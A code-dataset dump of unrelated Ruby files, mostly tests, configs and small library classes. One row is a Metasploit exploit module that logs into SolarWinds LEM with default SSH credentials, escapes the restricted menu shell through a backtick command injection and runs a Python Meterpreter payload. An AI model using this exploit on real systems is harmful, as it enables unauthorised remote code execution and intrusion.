hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
ff83a474e6d9cab17fd6837fbed36e89eb74cfda
37
class Kicker VERSION = "3.0.0" end
9.25
19
0.648649
398a81497c2676a76ddd586da64f1c2c189e34fe
4,643
# frozen_string_literal: true # == Schema Information # # Table name: competitions # # id :bigint not null, primary key # champion :string # name :string # season :integer # created_at :datetime not null # updated_at :datetime not null # team_id :bigint # # Indexes # # index_competitions_on_season (season) # index_competitions_on_team_id (team_id) # require 'rails_helper' describe Competition, type: :model do let(:competition) { create(:competition) } it 'has a valid factory' do expect(competition).to be_valid end it 'requires a season' do expect(build(:competition, season: nil)).not_to be_valid end it 'requires a name' do expect(build(:competition, name: nil)).not_to be_valid end it 'rejects invalid preset formats' do expect(build(:competition, preset_format: 'Wrong')).not_to be_valid end it 'requires a num_team if League' do expect(build(:league, num_teams: nil)).not_to be_valid end it 'rejects invalid Knockout settings' do expect(build(:cup, num_teams: 14)).not_to be_valid end it 'caches the name as a Competition Option' do expect(Option.where(category: 'Competition', value: competition.name)).to be_present end %i[ num_teams num_teams_per_group num_advances_from_group ].each do |preset_attr| it "requires #{preset_attr} if invalid Group + Knockout" do expect(build(:tournament, preset_attr => nil)).not_to be_valid end end [ [{ num_teams: 32, num_teams_per_group: 4, num_advances_from_group: 2 }, true], [{ num_teams: 8, num_teams_per_group: 4, num_advances_from_group: 2 }, true], [{ num_teams: 24, num_teams_per_group: 3, num_advances_from_group: 2 }, true], [{ num_teams: 32, num_teams_per_group: 6, num_advances_from_group: 2 }, false], [{ num_teams: 30, num_teams_per_group: 6, num_advances_from_group: 2 }, false] ].each do |preset, expect_valid| if expect_valid it "accepts Group+Knockout setting (#{preset}) as valid" do expect(build(:tournament, preset)).to be_valid end else it "rejects Groups+Knockout setting (#{preset}) as invalid" do expect(build(:tournament, preset)).not_to be_valid end end end describe 'if League' do let(:num_teams) { Faker::Number.between(from: 2, to: 30).to_i } let(:league) { create :league, num_teams: } it 'creates 1 stage' do expect(league.stages.count).to be == 1 end it 'creates table rows for number of teams' do expect(league.stages.first.table_rows.size).to be == num_teams end end describe 'if Cup' do let(:num_rounds) { Faker::Number.between(from: 1, to: 6).to_i } let(:num_teams) { 2**num_rounds } let(:cup) { create :cup, num_teams: } it 'creates log(2) Knockout stages' do expect(cup.stages.size).to be == num_rounds end it 'creates a cascading number of fixtures for each Knockout stage' do cup.stages.includes(:fixtures).each_with_index do |round, i| num_round_teams = num_teams / (2**i) expect(round.fixtures.size).to be == num_round_teams / 2 end end end [ { num_teams: 32, num_teams_per_group: 4, num_advances_from_group: 2 }, { num_teams: 8, num_teams_per_group: 4, num_advances_from_group: 2 }, { num_teams: 24, num_teams_per_group: 3, num_advances_from_group: 2 } ].each do |preset| describe "if Group+Knockout with preset (#{preset})" do let(:tournament) { create :tournament, preset } num_groups = preset[:num_teams] / preset[:num_teams_per_group] num_rounds = Math.log(num_groups * preset[:num_advances_from_group], 2).to_i it "creates #{num_groups} groups" do expect(tournament.stages.where(table: true).size).to be == num_groups end it "creates groups of size #{preset[:num_teams_per_group]}" do tournament.stages.includes(:table_rows).where(table: true).each do |group| expect(group.table_rows.size).to be == preset[:num_teams_per_group] end end it "creates #{num_rounds} knockout rounds" do expect(tournament.stages.where(table: false).size).to be == num_rounds end it 'creates a cascading number of fixtures for each Knockout stage' do tournament .stages .includes(:fixtures) .where(table: false) .each_with_index do |round, i| num_round_teams = num_groups * preset[:num_advances_from_group] / (2**i) expect(round.fixtures.size).to be == num_round_teams / 2 end end end end end
30.953333
88
0.665949
791aa4f062f3418a5cbaa9086c4d3f799a78ce4b
1,319
require 'helper' class TestDiagnostic < Minitest::Test def setup @buffer = Parser::Source::Buffer.new('(string)') @buffer.source = 'if (this is some bad code + bugs)' @range1 = Parser::Source::Range.new(@buffer, 0, 2) # if @range2 = Parser::Source::Range.new(@buffer, 4, 8) # this end def test_verifies_levels error = assert_raises ArgumentError do Parser::Diagnostic.new(:foobar, :escape_eof, {}, @range1) end assert_match /level/, error.message end def test_freezes string = 'foo' highlights = [@range2] diag = Parser::Diagnostic.new(:error, :escape_eof, @range1, highlights) assert diag.frozen? assert diag.arguments.frozen? assert diag.highlights.frozen? refute string.frozen? refute highlights.frozen? end def test_render location = Parser::Source::Range.new(@buffer, 26, 27) highlights = [ Parser::Source::Range.new(@buffer, 21, 25), Parser::Source::Range.new(@buffer, 28, 32) ] diag = Parser::Diagnostic.new(:error, :unexpected, { :character => '+' }, location, highlights) assert_equal([ "(string):1:27: error: unexpected `+'", 'if (this is some bad code + bugs)', ' ~~~~ ^ ~~~~ ' ], diag.render) end end
26.38
78
0.602729
28c7910f54793b8d17be548d6138180b5a265a68
96
CarrierWave.configure do |config| config.dropbox_access_token = ENV['DROPBOX_ACCESS_TOKEN'] end
32
58
0.833333
4a6c73bc6e83981b6d3cd9e2882d6460438e119b
1,187
cask 'fontexplorer-x-pro' do version '5.0.2' sha256 'ef86771fb2acf2eaa3c30b72d51594eda4ab2cd4c9a7454585184460d49b043a' url "http://fast.fontexplorerx.com/FontExplorerXPro#{version.no_dots}.dmg" name 'FontExplorer X Pro' homepage 'https://www.fontexplorerx.com/' depends_on macos: '>= :mountain_lion' app 'FontExplorer X Pro.app' zap delete: [ '/Library/PrivilegedHelperTools/com.linotype.FontExplorerX.securityhelper', '/Library/LaunchDaemons/com.linotype.FontExplorerX.securityhelper.plist', '~/Library/Application Support/Linotype/FontExplorer X', '~/Library/Application\ Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/com.linotype.fontexplorerx.sfl', '~/Library/Caches/com.linotype.FontExplorerX', '~/Library/Cookies/com.linotype.FontExplorerX.binarycookies', '~/Library/LaunchAgents/com.linotype.FontFolderProtector.plist', '~/Library/Preferences/com.linotype.FontExplorerX.plist', '~/Library/Saved\ Application\ State/com.linotype.FontExplorerX.savedState', ] end
47.48
159
0.695872
62809adb24d6e438bed721519799923bf6dc2673
4,601
# This file was generated by the `rails generate rspec:install` command. Conventionally, all # specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`. # The generated `.rspec` file contains `--require spec_helper` which will cause # this file to always be loaded, without a need to explicitly require it in any # files. # # Given that it is always loaded, you are encouraged to keep this file as # light-weight as possible. Requiring heavyweight dependencies from this file # will add to the boot time of your test suite on EVERY test run, even for an # individual file that may not need all of that loaded. Instead, consider making # a separate helper file that requires the additional dependencies and performs # the additional setup, and require it from the spec files that actually need # it. # # The `.rspec` file also contains a few flags that are not defaults but that # users commonly want. # # See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration RSpec.configure do |config| # rspec-expectations config goes here. You can use an alternate # assertion/expectation library such as wrong or the stdlib/minitest # assertions if you prefer. config.expect_with :rspec do |expectations| # This option will default to `true` in RSpec 4. It makes the `description` # and `failure_message` of custom matchers include text for helper methods # defined using `chain`, e.g.: # be_bigger_than(2).and_smaller_than(4).description # # => "be bigger than 2 and smaller than 4" # ...rather than: # # => "be bigger than 2" expectations.include_chain_clauses_in_custom_matcher_descriptions = true end # rspec-mocks config goes here. You can use an alternate test double # library (such as bogus or mocha) by changing the `mock_with` option here. config.mock_with :rspec do |mocks| # Prevents you from mocking or stubbing a method that does not exist on # a real object. This is generally recommended, and will default to # `true` in RSpec 4. mocks.verify_partial_doubles = true end # The settings below are suggested to provide a good initial experience # with RSpec, but feel free to customize to your heart's content. =begin # These two settings work together to allow you to limit a spec run # to individual examples or groups you care about by tagging them with # `:focus` metadata. When nothing is tagged with `:focus`, all examples # get run. config.filter_run :focus config.run_all_when_everything_filtered = true # Allows RSpec to persist some state between runs in order to support # the `--only-failures` and `--next-failure` CLI options. We recommend # you configure your source control system to ignore this file. config.example_status_persistence_file_path = "spec/examples.txt" # Limits the available syntax to the non-monkey patched syntax that is # recommended. For more details, see: # - http://myronmars.to/n/dev-blog/2012/06/rspecs-new-expectation-syntax # - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/ # - http://myronmars.to/n/dev-blog/2014/05/notable-changes-in-rspec-3#new__config_option_to_disable_rspeccore_monkey_patching config.disable_monkey_patching! # Many RSpec users commonly either run the entire suite or an individual # file, and it's useful to allow more verbose output when running an # individual spec file. if config.files_to_run.one? # Use the documentation formatter for detailed output, # unless a formatter has already been configured # (e.g. via a command-line flag). config.default_formatter = 'doc' end # Print the 10 slowest examples and example groups at the # end of the spec run, to help surface which specs are running # particularly slow. config.profile_examples = 10 # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 config.order = :random # Seed global randomization in this process using the `--seed` CLI option. # Setting this allows you to use `--seed` to deterministically reproduce # test failures related to randomization by passing the same `--seed` value # as the one that triggered the failure. Kernel.srand config.seed =end # Seed database before rspec config.before(:suite) do Rails.application.load_seed end # Cleanup database after rspec config.after :all do ActiveRecord::Base.subclasses.each(&:delete_all) end end
44.669903
129
0.743969
113faeb0d2ff9ffd9668729f2860f6b02dfb0844
401
# frozen_string_literal: true require 'spec_helper' RSpec.describe TodosDestroyer::DestroyedDesignsWorker do let(:service) { double } it 'calls the Todos::Destroy::DesignService with design_ids parameter' do expect(::Todos::Destroy::DesignService).to receive(:new).with([1, 5]).and_return(service) expect(service).to receive(:execute) described_class.new.perform([1, 5]) end end
26.733333
93
0.743142
1a6a65a6234223d722b480b83768050712e64f1c
5,346
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "SolarWind LEM Default SSH Password Remote Code Execution", 'Description' => %q{ This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell. This module was tested against SolarWinds LEM v6.3.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <[email protected]>', # discovery & msf module ], 'References' => [ ['CVE', '2017-7722'], ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] ], 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp', }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 17 2017", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(32022), OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]), OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]), ] ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def exploit factory = ssh_socket_factory opts = { :auth_methods => ['keyboard-interactive'], :port => rport, :use_agent => false, :config => false, :password => password, :proxy => factory, :non_interactive => true } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] print_status("#{rhost}:#{rport} - Attempting to login...") begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, username, opts) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials." rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh payload_executed = false print_good("SSH connection is established.") ssh.open_channel do |channel| print_status("Requesting pty... We need it in order to interact with menuing system.") channel.request_pty do |ch, success| raise ::RuntimeError, "Could not request pty!" unless success print_good("Pty successfully obtained.") print_status("Requesting a shell.") ch.send_channel_request("shell") do |ch, success| raise ::RuntimeError, "Could not open shell!" unless success print_good("Remote shell successfully obtained.") end end channel.on_data do |ch, data| if data.include? "cmc " print_good("Step 1 is done. Managed to access terminal menu.") channel.send_data("service\n") end if data.include? "service " print_good("Step 2 is done. Managed to select 'service' sub menu.") channel.send_data("restrictssh\n") end if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance" print_good("Step 3 is done. Managed to start 'restrictssh' function.") channel.send_data("*#`bash>&2`\n") end if data.include? "Are the hosts" print_good("Step 4 is done. We are going to try escape from jail shell.") channel.send_data("Y\n") end if data.include? "/usr/local/contego" if payload_executed == false print_good("Sweet..! Escaped from jail.") print_status("Delivering payload...") channel.send_data("python -c \"#{payload.encoded}\"\n") payload_executed = true end end end end begin ssh.loop unless session_created? rescue Errno::EBADF => e elog(e.message) end end end end
31.633136
162
0.596521
01b37bec6bac43ffb17a7ff3bd7ae5fc8b347d75
985
module Transmission class Arguments class TorrentSet < Transmission::Arguments ATTRIBUTES = [ {field: 'bandwidthPriority'}, {field: 'downloadLimit'}, {field: 'downloadLimited'}, {field: 'downloadLimit'}, {field: 'files-wanted'}, {field: 'files-unwanted'}, {field: 'honorsSessionLimits'}, {field: 'ids'}, {field: 'location'}, {field: 'peer-limit'}, {field: 'priority-high'}, {field: 'priority-low'}, {field: 'priority-normal'}, {field: 'queuePosition'}, {field: 'seedIdleLimit'}, {field: 'seedIdleMode'}, {field: 'seedRatioLimit'}, {field: 'seedRatioMode'}, {field: 'trackerAdd'}, {field: 'trackerRemove'}, {field: 'trackerReplace'}, {field: 'uploadLimit'}, {field: 'uploadLimited'}, {field: 'uploadLimit'} ] end end end
28.970588
46
0.509645
6abb689c05fbbfd9fe201e3dbb1fbbc6a2a32da7
960
module Schools class CoursePolicy < ApplicationPolicy def index? # Can be shown to all school admins. user&.school_admin.present? && user.school == current_school end def authors? record.school == current_school && index? end alias attach_images? authors? alias delete_coach_enrollment? authors? alias update_coach_enrollments? authors? alias students? authors? alias inactive_students? authors? alias mark_teams_active? authors? alias exports? authors? alias certificates? authors? alias create_certificate? authors? def curriculum? return false if user.blank? # All school admins can manage course curriculum. return true if authors? # All course authors can manage course curriculum. user.course_authors.where(course: record).present? end alias evaluation_criteria? curriculum? class Scope < ::CoursePolicy::Scope end end end
25.263158
66
0.701042
f86c2c34af63b851cf5b5902570c4e719fa0f6c3
8,611
require "spec_helper" require "json" RSpec.describe ChromeRemote do around(:each) do |example| # TODO should the library implement timeouts on every operation instead? Timeout::timeout(5) { example.run } end WS_URL = "ws://localhost:9222/devtools/page/4a64d04e-f346-4460-be97-98e4a3dbf2fc" before(:each) do stub_request(:get, "http://localhost:9222/json").to_return( body: [{ "type": "page", "webSocketDebuggerUrl": WS_URL }].to_json ) end # Server needs to be running before the client let!(:server) { WebSocketTestServer.new(WS_URL) } let!(:client) { ChromeRemote.client } after(:each) { server.close } describe "Initializing a client" do it "returns a new client" do client = double("client") expect(ChromeRemote::Client).to receive(:new).with(WS_URL, nil) { client } expect(ChromeRemote.client).to eq(client) end it "uses the first page’s webSocketDebuggerUrl" do stub_request(:get, "http://localhost:9222/json").to_return( body: [ { "type": "background_page", "webSocketDebuggerUrl": "ws://one" }, { "type": "page", "webSocketDebuggerUrl": "ws://two" }, { "type": "page", "webSocketDebuggerUrl": "ws://three" } ].to_json ) expect(ChromeRemote::Client).to receive(:new).with("ws://two", nil) ChromeRemote.client end it "gets pages from the given host and port" do stub_request(:get, "http://192.168.1.1:9292/json").to_return( body: [{ "type": "page", "webSocketDebuggerUrl": "ws://one" }].to_json ) expect(ChromeRemote::Client).to receive(:new).with("ws://one", nil) ChromeRemote.client host: '192.168.1.1', port: 9292 end it "accepts logger" do logger = double("logger") client = double("client") expect(ChromeRemote::Client).to receive(:new).with(WS_URL, logger) { client } expect(ChromeRemote.client(logger: logger)).to eq(client) end context "with new tab" do it "creates new tab on the given host and port" do stub_request(:get, "http://192.168.1.1:9292/json/new?about:blank").to_return( body: { "type": "page", "webSocketDebuggerUrl": "ws://one" }.to_json ) expect(ChromeRemote::Client).to receive(:new).with("ws://one", nil) ChromeRemote.client host: '192.168.1.1', port: 9292, new_tab: true end end end describe "Logging" do let(:logger) { double("logger") } let!(:client) { ChromeRemote.client(logger: logger) } it "logs incoming and outcoming messages" do server.expect_msg do |msg| msg = JSON.parse(msg) server.send_msg({ id: msg["id"], params: {} }.to_json) end expect(logger).to receive(:info).with('SEND ► {"method":"Page.enable","params":{},"id":1}') expect(logger).to receive(:info).with('◀ RECV {"id":1,"params":{}}') client.send_cmd('Page.enable') end end describe "Sending commands" do it "sends commands using the DevTools protocol" do expected_result = { "frameId" => rand(9999) } server.expect_msg do |msg| msg = JSON.parse(msg) expect(msg["method"]).to eq("Page.navigate") expect(msg["params"]).to eq("url" => "https://github.com") expect(msg["id"]).to be_a(Integer) # Reply with two messages not correlating the msg["id"]. # These two should be ignored by the client server.send_msg({ method: "RandomEvent" }.to_json) server.send_msg({ id: 9999, result: {} }.to_json) # Reply correlated with msg["id"] server.send_msg({ id: msg["id"], result: expected_result }.to_json) end response = client.send_cmd "Page.navigate", url: "https://github.com" expect(response).to eq(expected_result) expect(server).to have_satisfied_all_expectations end end describe "Subscribing to events" do it "subscribes to events using the DevTools protocol" do received_events = [] client.on "Network.requestWillBeSent" do |params| received_events << ["Network.requestWillBeSent", params] end client.on "Page.loadEventFired" do |params| received_events << ["Page.loadEventFired", params] end server.send_msg({ method: "RandomEvent" }.to_json) # to be ignored server.send_msg({ method: "Network.requestWillBeSent", params: { "param" => 1} }.to_json) server.send_msg({ id: 999, result: { "frameId" => 2 } }.to_json) # to be ignored server.send_msg({ method: "Page.loadEventFired", params: { "param" => 2} }.to_json) server.send_msg({ method: "Network.requestWillBeSent", params: { "param" => 3} }.to_json) expect(received_events).to be_empty # we haven't listened yet client.listen_until { received_events.size == 3 } expect(received_events).to eq([ ["Network.requestWillBeSent", { "param" => 1}], ["Page.loadEventFired", { "param" => 2}], ["Network.requestWillBeSent", { "param" => 3}], ]) end it "allows to subscribe multiple times to the same event" do received_events = [] client.on "Network.requestWillBeSent" do |params| received_events << :first_handler end client.on "Network.requestWillBeSent" do |params| received_events << :second_handler end expect(received_events).to be_empty # we haven't listened yet server.send_msg({ method: "Network.requestWillBeSent" }.to_json) client.listen_until { received_events.size == 2 } expect(received_events).to include(:first_handler) expect(received_events).to include(:second_handler) end it "processes events when sending commands" do received_events = [] client.on "Network.requestWillBeSent" do |params| received_events << :first_handler end server.expect_msg do |msg| msg = JSON.parse(msg) server.send_msg({ method: "Network.requestWillBeSent" }.to_json) server.send_msg({ id: msg["id"] }.to_json) end expect(received_events).to be_empty # we haven't listened yet client.send_cmd "Page.navigate" expect(received_events).to eq([:first_handler]) end it "subscribes to events and process them indefinitely" do expected_events = rand(10) + 1 received_events = 0 TestError = Class.new(StandardError) client.on "Network.requestWillBeSent" do |params| received_events += 1 # the client will listen indefinitely, raise an expection to get out of the loop raise TestError if received_events == expected_events end expected_events.times do server.send_msg({ method: "Network.requestWillBeSent" }.to_json) end expect(received_events).to be_zero # we haven't listened yet expect{client.listen}.to raise_error(TestError) expect(received_events).to be(expected_events) end end describe "Waiting for events" do it "waits for the next instance of an event" do # first two messages are to be ignored server.send_msg({ id: 99 }.to_json) server.send_msg({ method: "Network.requestWillBeSent", params: { "event" => 1 } }.to_json) server.send_msg({ method: "Page.loadEventFired", params: { "event" => 2 } }.to_json) server.send_msg({ method: "Network.requestWillBeSent", params: { "event" => 3 } }.to_json) result = client.wait_for("Page.loadEventFired") expect(result).to eq({ "event" => 2 }) result = client.wait_for("Network.requestWillBeSent") expect(result).to eq({ "event" => 3 }) end it "subscribes and waits for the same event" do received_events = 0 client.on "Network.requestWillBeSent" do |params| received_events += 1 end server.send_msg({ method: "Network.requestWillBeSent" }.to_json) expect(received_events).to be_zero # we haven't listened yet result = client.wait_for("Network.requestWillBeSent") expect(received_events).to eq(1) end it "waits for events with custom matcher block" do server.send_msg({ method: "Page.lifecycleEvent", params: { "name" => "load" }}.to_json) server.send_msg({ method: "Page.lifecycleEvent", params: { "name" => "DOMContentLoaded" }}.to_json) result = client.wait_for do |event_name, event_params| event_name == "Page.lifecycleEvent" && event_params["name"] == "DOMContentLoaded" end expect(result).to eq({"name" => "DOMContentLoaded"}) end end end
34.444
105
0.63744
911eee749bdd2725e08f31938d68c56009ef539b
719
Pod::Spec.new do |s| # 1 s.platform = :ios s.ios.deployment_target = '8.0' s.name = "NetworkConnectionManager" s.summary = "NetworkConnectionManager allows to send request and parse json response." s.requires_arc = true # 2 s.version = "0.0.1" # 3 s.license = { :type => "MIT", :file => "LICENSE" } # 4 s.author = { "Arun Thakkar" => "[email protected]" } # 5 s.homepage = "http://EXAMPLE/NetworkConnectionManager" # 6 s.source = { :git => "https://github.com/ArunThakkar86/NetworkConnectionManager.git", :tag => "0.0.1" } # 7 s.framework = "UIKit" # 8 s.source_files = "ConnectionManager"/**/*.{h,m}" # 9 s.resources = "Resources/*.png" end
19.972222
111
0.603616
d54222f5592e341747dae8ba612204ecae1af311
226
# This migration comes from spree (originally 20130718042445) class AddCostPriceToLineItem < ActiveRecord::Migration def change add_column :spree_line_items, :cost_price, :decimal, :precision => 8, :scale => 2 end end
32.285714
85
0.765487
e9c29fc228cf975d3499ffff9eb542b548d3387a
1,044
class RustcCompletion < Formula desc "Bash completion for rustc" homepage "https://github.com/roshan/rust-bash-completion" license "MIT" head "https://github.com/roshan/rust-bash-completion.git", branch: "master" stable do url "https://github.com/roshan/rust-bash-completion/archive/0.12.1.tar.gz" sha256 "562f84ccab40f2b3e7ef47e2e6d9b6615070a0e7330d64ea5368b6ad75455012" # upstream commit to fix an undefined command when sourcing the file directly patch do url "https://github.com/roshan/rust-bash-completion/commit/932e9bb4e9f28c2785de2b8db6f0e8c050f4f9be.patch?full_index=1" sha256 "3da76d5469e7fa4579937d107a2661f740d704ac100442f37310aa6430f171a2" end end bottle do sha256 cellar: :any_skip_relocation, all: "c4f9d8b0d48e56ed56ccf9a3124dda1868afc003326defce3e9d6ededc7b4468" end def install bash_completion.install "etc/bash_completion.d/rustc" end test do assert_match "-F _rustc", shell_output("source #{bash_completion}/rustc && complete -p rustc") end end
33.677419
125
0.768199
380911b6bcc5932ddf98bb07572f27b7714abde6
968
autoload :YAML, 'yaml' module Crayola CURRENT_DIR = File.expand_path(File.dirname(__FILE__)) require_relative 'crayola/scraper' require_relative 'crayola/color' class Crayola class << self attr_reader :series, :colors def init crayola = load_build_file || Scraper.build @series = crayola.keys @colors = build_colors(crayola) end def color(name) @colors.detect { |c| c.name == name } end def colors_in_series(series) @colors.select { |c| c.series == series } end def color_names @colors.map(&:name) end def build_colors(crayola) tmp = [] crayola.each do |series, colors| colors.each { |attrs| tmp << Color.new(series, *attrs) } end tmp end def load_build_file(io=CURRENT_DIR+'/crayola/crayola.yml') YAML.load_file(io) rescue nil end end init end end
21.043478
66
0.585744
f7a057cbef951922afd96304a1fb05cbc2063287
185
# Adds a convenience method calling both flash and redirect. # This is primarily intended to DRY up controller actions module Respondable def respond flash redirect end end
20.555556
60
0.767568
918eddaa53a906844ab13dfb9f50b8f186e6ce62
1,216
require_relative 'base_service' class DeleteBranchService < BaseService def execute(branch_name) repository = project.repository branch = repository.find_branch(branch_name) unless branch return error('No such branch', 404) end if branch_name == repository.root_ref return error('Cannot remove HEAD branch', 405) end if project.protected_branch?(branch_name) return error('Protected branch cant be removed', 405) end unless current_user.can?(:push_code, project) return error('You dont have push access to repo', 405) end if repository.rm_branch(current_user, branch_name) success('Branch was removed') else error('Failed to remove branch') end rescue GitHooksService::PreReceiveError => ex error(ex.message) end def error(message, return_code = 400) super(message).merge(return_code: return_code) end def success(message) super().merge(message: message) end def build_push_data(branch) Gitlab::DataBuilder::Push.build( project, current_user, branch.target.sha, Gitlab::Git::BLANK_SHA, "#{Gitlab::Git::BRANCH_REF_PREFIX}#{branch.name}", []) end end
23.843137
60
0.686678
bf647e083bb732433609800413e226959de24d8f
405
require_relative "../lib/person" describe Person do describe "#full_name" do it "returns the first and last names concatenated" do person = Person.new(first_name: "Franklyn", last_name: "Smith") expect(person.full_name).to eq "Franklyn Smith" person = Person.new(first_name: "Frankie", last_name: "Saint") expect(person.full_name).to eq "Frankie Saint" end end end
25.3125
69
0.691358
01fb2fe2872d00665b71c863dcd8b9bc5af65c29
306
require 'rspec/core/rake_task' RSpec::Core::RakeTask.new(:spec) task :default => :spec namespace :spec do if RUBY_VERSION > '1.9' && RUBY_PLATFORM =~ /java/ require 'coveralls/rake/task' Coveralls::RakeTask.new task :ci => [:spec, 'coveralls:push'] else task :ci => [:spec] end end
20.4
52
0.650327
6ac4422ca6c4f5f645d0a17f601934e20bb6985e
3,775
require "rest-client" class IssuesController < ApplicationController include IssueGraphicHelper before_action :set_authorization, except: [:update_assignees] before_action :set_project def index client = Adapter::GitHubIssue.new(request) @issues = client.list_issues(@project.github_slug) convert_form_params(@issues) all_stories = Story.all all_stories_number = [] all_stories.each do |story| all_stories_number.push(story.issue_id.to_i) end @filter_form = { issues_infos: [] } @filter_form[:issues_infos] = @form_params[:issues_infos].reject { |h| all_stories_number.include? h[:issue_id] } render json: @filter_form end def create client = Adapter::GitHubIssue.new(request) @issue = client.create_issue(@project.github_slug, issue_params) convert_form_params(@issue) render json: @form_params, status: :created end def update client = Adapter::GitHubIssue.new(request) @issue = client.update_issue(@project.github_slug, issue_params) convert_form_params(@issue) render json: @form_params end def close client = Adapter::GitHubIssue.new(request) client.close_issue(@project.github_slug, issue_params) render status: :ok end def issue_graphic_data client = Adapter::GitHubIssue.new(request) @issues = client.list_all_issues(@project.github_slug) if @issues.count != 0 actual_date = params[:actual_date].to_date option = params[:option] data_of_issues = {} data_of_issues = get_issues_graphic(actual_date, option, @issues) render json: data_of_issues else render json: { error: "Issues don't exists" }, status: :not_found end end def reopen_issue client = Adapter::GitHubIssue.new(request) client.reopen_issue(@project.github_slug, issue_params) render status: 200 end def update_assignees begin set_project @current_user = AuthorizeApiRequest.call(request.headers).result response = RestClient.patch("https://api.github.com/repos/#{@project.github_slug}/issues/#{params[:issue_number]}", { assignees: params[:assignees] }.to_json, Authorization: "token #{@current_user.access_token}" ) render status: :ok rescue RestClient::UnprocessableEntity render json: { errors: "Cannot update assignees" }, status: :unprocessable_entity rescue RestClient::NotFound render json: { errors: "Content not found" }, status: :not_found rescue ActiveRecord::RecordNotFound render json: { errors: "Project not found" }, status: :not_found end end private def set_authorization client = Adapter::GitHubIssue.new(request) end def set_project begin @project = Project.find(params[:id]) rescue ActiveRecord::RecordNotFound render json: { errors: "Project not found" }, status: :not_found end end def convert_form_params(issue) @form_params = { issues_infos: [] } if issue.kind_of?(Array) @issues.each do |issue| make_form_params(issue) end else make_form_params(issue) end @form_params end def assignee_counter(issue) assignees = [] if issue.assignees.count > 0 issue.assignees.each do |assignee| assignees.push(assignee.login) end end assignees end def make_form_params(issue) assignees = assignee_counter(issue) @form_params[:issues_infos].push(name: issue.title, number: issue.number, body: issue.body, issue_id: issue.id, assignees: assignees) unless issue.pull_request end def issue_params params.require(:issue).permit(:name, :body, :number) end end
24.673203
165
0.681325
e2f84f5e5d88af4f6fc0b1010da13f334e468fc5
730
module QuestionsHelper def available_loop_types section types = [] section.self_and_ancestors.each do |s| if s.loop_item_type types += [ s.loop_item_type ] end end types end def get_matrix_answer_query_results answer_part answer_results = {} answer_part.answer_part_matrix_options.each do |o| answer = "x" # Assumes the answer is nil and from a checkbox if o.matrix_answer_drop_option answer = o.matrix_answer_drop_option.option_text elsif o.answer_text answer = o.answer_text end option = o.matrix_answer_option.title answer_results[option] = answer end answer_results.map{ |k,v| "#{k}=[#{v}]" }.join('&') end end
25.172414
66
0.667123
2109bc1b71ee034e8d48ec1191ead96e9c713894
141
class CreateIms < ActiveRecord::Migration def change create_table :ims do |t| t.string :im t.timestamps end end end
14.1
41
0.64539
4aeaa25b4c8a4644b0ba7164a49213abca2b2710
5,534
require 'rails_helper' # This spec was generated by rspec-rails when you ran the scaffold generator. # It demonstrates how one might use RSpec to specify the controller code that # was generated by Rails when you ran the scaffold generator. # # It assumes that the implementation code is generated by the rails scaffold # generator. If you are using any extension libraries to generate different # controller code, this generated spec may or may not pass. # # It only uses APIs available in rails and/or rspec-rails. There are a number # of tools you can use to make these specs even more expressive, but we're # sticking to rails and rspec-rails APIs to keep things simple and stable. # # Compared to earlier versions of this generator, there is very limited use of # stubs and message expectations in this spec. Stubs are only used when there # is no simpler way to get a handle on the object needed for the example. # Message expectations are only used when there is no simpler way to specify # that an instance is receiving a specific message. # # Also compared to earlier versions of this generator, there are no longer any # expectations of assigns and templates rendered. These features have been # removed from Rails core in Rails 5, but can be added back in via the # `rails-controller-testing` gem. RSpec.describe SchoolAttachmentsController, type: :controller do # This should return the minimal set of attributes required to create a valid # SchoolAttachment. As you add validations to SchoolAttachment, be sure to # adjust the attributes here as well. let(:valid_attributes) { skip("Add a hash of attributes valid for your model") } let(:invalid_attributes) { skip("Add a hash of attributes invalid for your model") } # This should return the minimal set of values that should be in the session # in order to pass any filters (e.g. authentication) defined in # SchoolAttachmentsController. Be sure to keep this updated too. let(:valid_session) { {} } describe "GET #index" do it "returns a success response" do school_attachment = SchoolAttachment.create! valid_attributes get :index, params: {}, session: valid_session expect(response).to be_success end end describe "GET #show" do it "returns a success response" do school_attachment = SchoolAttachment.create! valid_attributes get :show, params: {id: school_attachment.to_param}, session: valid_session expect(response).to 